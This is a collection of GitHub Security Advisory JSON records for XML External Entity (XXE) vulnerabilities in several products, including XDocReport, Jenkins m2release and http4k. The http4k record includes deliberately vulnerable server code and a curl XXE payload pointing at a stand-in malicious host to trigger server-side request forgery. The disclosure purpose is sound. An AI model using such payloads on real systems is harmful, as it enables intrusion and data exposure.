CWE-611

{
  "affected": [],
  "aliases": [
    "CVE-2018-1542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-06T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "IBM FileNet Content Manager, IBM Content Foundation, and IBM Case Foundation Administration Console for Content Platform Engine (ACCE) 5.2.1 and 5.5.0 are vulnerable to a XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 142597.",
  "id": "GHSA-7hc6-6vrh-xwqx",
  "modified": "2022-05-13T01:33:09Z",
  "published": "2022-05-13T01:33:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1542"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/142597"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg22015943"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041225"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "fr.opensagres.xdocreport:fr.opensagres.xdocreport.document"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.2"
            },
            {
              "fixed": "2.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65482"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T16:56:55Z",
    "nvd_published_at": "2026-01-20T16:16:06Z",
    "severity": "CRITICAL"
  },
  "details": "An XML External Entity (XXE) vulnerability in opensagres XDocReport v0.9.2 to v2.0.3 allows attackers to execute arbitrary code via uploading a crafted .docx file.",
  "id": "GHSA-7jc7-g598-2p64",
  "modified": "2026-01-21T16:56:55Z",
  "published": "2026-01-20T18:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65482"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opensagres/xdocreport/commit/d9b90ae6c9489dc43f6427ec7b315cab34125332"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AT190510-Cuong/CVE-2025-65482-XXE-"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opensagres/xdocreport"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@cuongnh/r1B7B8fJ-g"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@cuongnh/rkJPCgSy-l"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XDocReport affected by an XML External Entity (XXE) vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-19032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-91"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-30T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "XMLBlueprint through 16.191112 is affected by XML External Entity Injection. The impact is: Arbitrary File Read when an XML File is validated. The component is: XML Validate function. The attack vector is: Specially crafted XML payload.",
  "id": "GHSA-7jh8-c237-cvq4",
  "modified": "2024-04-04T02:45:55Z",
  "published": "2022-05-24T17:05:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19032"
    },
    {
      "type": "WEB",
      "url": "https://hackpuntes.com/cve-2019-19032-xmlblueprint-16-191112-inyeccion-xml"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/156139/XMLBlueprint-16.191112-XML-Injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-4639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T18:15:33Z",
    "severity": "HIGH"
  },
  "details": "CWE-611 Improper Restriction of XML External Entity Reference in the getDocumentBuilder() method of WebDav servlet in Peergos. This issue affects Peergos through version 1.1.0.",
  "id": "GHSA-7jmx-9c9v-p8w8",
  "modified": "2025-05-14T18:30:51Z",
  "published": "2025-05-14T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Peergos/Peergos/pull/1267"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-1225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-12T20:15:40Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, has been found in ywoa up to 2024.07.03. This issue affects the function extract of the file c-main/src/main/java/com/redmoon/weixin/aes/XMLParse.java of the component WXCallBack Interface. The manipulation leads to xml external entity reference. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2024.07.04 is able to address this issue. It is recommended to upgrade the affected component.",
  "id": "GHSA-7m23-4qgm-g7v4",
  "modified": "2025-02-12T21:31:54Z",
  "published": "2025-02-12T21:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1225"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/r1bbit/yimioa/issues/IBI81R"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.295211"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.295211"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.16.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins.m2release:m2release"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.16.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-27T17:41:54Z",
    "nvd_published_at": "2019-12-17T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Jenkins Maven Release Plug-in Plugin retrieves XML from Nexus repository manager APIs. Maven Release Plug-in Plugin 0.16.1 and earlier does not configure the XML parser to prevent XML external entity (XXE) attacks. While Jenkins users without Overall/Administer permission are not allowed to configure a custom Nexus URL, this could still be exploited via man-in-the-middle attacks, especially if it\u2019s not an HTTPS URL.\n\nAdditionally, a connection test form validation method does not require POST requests, resulting in a cross-site request forgery vulnerability. Combined, these two vulnerabilities allow attackers to have Jenkins parse crafted XML documents that use external entities for extraction of secrets from the Jenkins controller, server-side request forgery, or denial-of-service attacks.\n\nMaven Release Plug-in Plugin 0.16.2 configures its XML parser to prevent XML external entity (XXE) attacks. It also now requires that requests to the connection test form validation method are done via POST, which protects from cross-site request forgery attacks.",
  "id": "GHSA-7mf5-79gv-66gh",
  "modified": "2023-12-06T14:02:41Z",
  "published": "2022-05-24T17:03:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16549"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/m2release-plugin/commit/1e4d6fee2eab16e7a396b6d3d5f10a87e5c29cc2"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-12-17/#SECURITY-1681"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/12/17/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Maven Release Plug-in Plugin XXE vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-3990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-20T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Cart::getProducts method in system/library/cart.php in OpenCart 1.5.6.4 and earlier allows remote attackers to conduct server-side request forgery (SSRF) attacks or possibly conduct XML External Entity (XXE) attacks and execute arbitrary code via a crafted serialized PHP object, related to the quantity parameter in an update request.",
  "id": "GHSA-7mhh-43p3-3rjq",
  "modified": "2022-05-14T01:06:59Z",
  "published": "2022-05-14T01:06:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3990"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencart-ce/opencart-ce/commit/c2aafc823bd85876f5e888f8ebc421069a5e076f"
    },
    {
      "type": "WEB",
      "url": "http://karmainsecurity.com/KIS-2014-08"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/127460/OpenCart-1.5.6.4-PHP-Object-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2014/Jul/67"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/532763/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/68529"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-format-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.50.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-611",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-12T19:22:01Z",
    "nvd_published_at": "2024-12-12T19:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n    val xmlLens = Body.xml().toLens()\n\n    // Create an HTTP handler\n    val app: HttpHandler = { request -\u003e\n        try {\n            // Parse the incoming XML payload to a Document object\n            val xmlDocument: Document = xmlLens(request)\n\n            // Extract root element name or other details from the XML\n            val rootElementName = xmlDocument.documentElement.nodeName\n\n            // Create a response XML based on the extracted information\n            val responseXml = \"\"\"\n                \u003cresponse\u003e\n                    \u003cmessage\u003eRoot element is: $rootElementName\u003c/message\u003e\n                \u003c/response\u003e\n            \"\"\".trimIndent()\n\n            // Respond with XML\n            Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n        } catch (e: Exception) {\n            // Handle invalid XML or other errors\n            Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n        }\n    }\n\n    // Start the server\n    val server = app.asServer(Netty(9000)).start()\n    println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n\u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-test-junit5\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.junit.jupiter\u003c/groupId\u003e\n            \u003cartifactId\u003ejunit-jupiter-engine\u003c/artifactId\u003e\n            \u003cversion\u003e5.10.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-stdlib\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-core\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- Http4k XML format --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-format-xml\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- http4k Netty --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-server-netty\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\u003c!DOCTYPE root [\u003c!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\"\u003e]\u003e\u003croot\u003e\u0026xxe;\u003c/root\u003e\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n\n### Follow-up patch \u2014 v6.50.0.0 (May 2026)\n\nThe original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=\"\"`, `ACCESS_EXTERNAL_SCHEMA=\"\"`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.\n\nA residual gap remained: the parser still **accepted** documents containing `\u003c!DOCTYPE\u003e` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.\n\n  **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `\u003c!DOCTYPE\u003e` is now rejected at parse time.\n\n#### Follow-up affected \u0026 fixed versions\n\n  | Version | Fixed Version |\n  |---------|---------------|\n  | `\u003e= 5.41.0.0, \u003c 6.50.0.0` | **6.50.0.0** |\n\nv6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.\n\n#### Follow-up timeline\n\n  | Date/time (UTC) | Notes |\n  |-----------------|-------|\n  | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `\u003c!DOCTYPE\u003e` rejection and billion-laughs payload rejection |\n  | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |",
  "id": "GHSA-7mj5-hjjj-8rgw",
  "modified": "2026-06-09T10:42:52Z",
  "published": "2024-12-12T19:22:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4k/http4k"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http4k has a potential XXE (XML External Entity Injection) vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-22624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-17T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Zoho ManageEngine Exchange Reporter Plus before 5708 allows attackers to conduct XXE attacks.",
  "id": "GHSA-7p2f-9vw3-7j56",
  "modified": "2023-01-23T21:30:26Z",
  "published": "2023-01-17T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22624"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2023-22624.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-3404"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-02T02:16:19Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in thinkgem JeeSite up to 5.15.1. Impacted is an unknown function of the file /com/jeesite/common/shiro/cas/CasOutHandler.java of the component Endpoint. Executing a manipulation can lead to xml external entity reference. The attack may be performed from remote. Attacks of this nature are highly complex. The exploitability is considered difficult. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-7p6h-h74m-fpv3",
  "modified": "2026-03-02T03:30:21Z",
  "published": "2026-03-02T03:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3404"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.348299"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.348299"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.763732"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/la12138/pa2fpb/ew8x2qss8dv0bsu0?singleDoc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}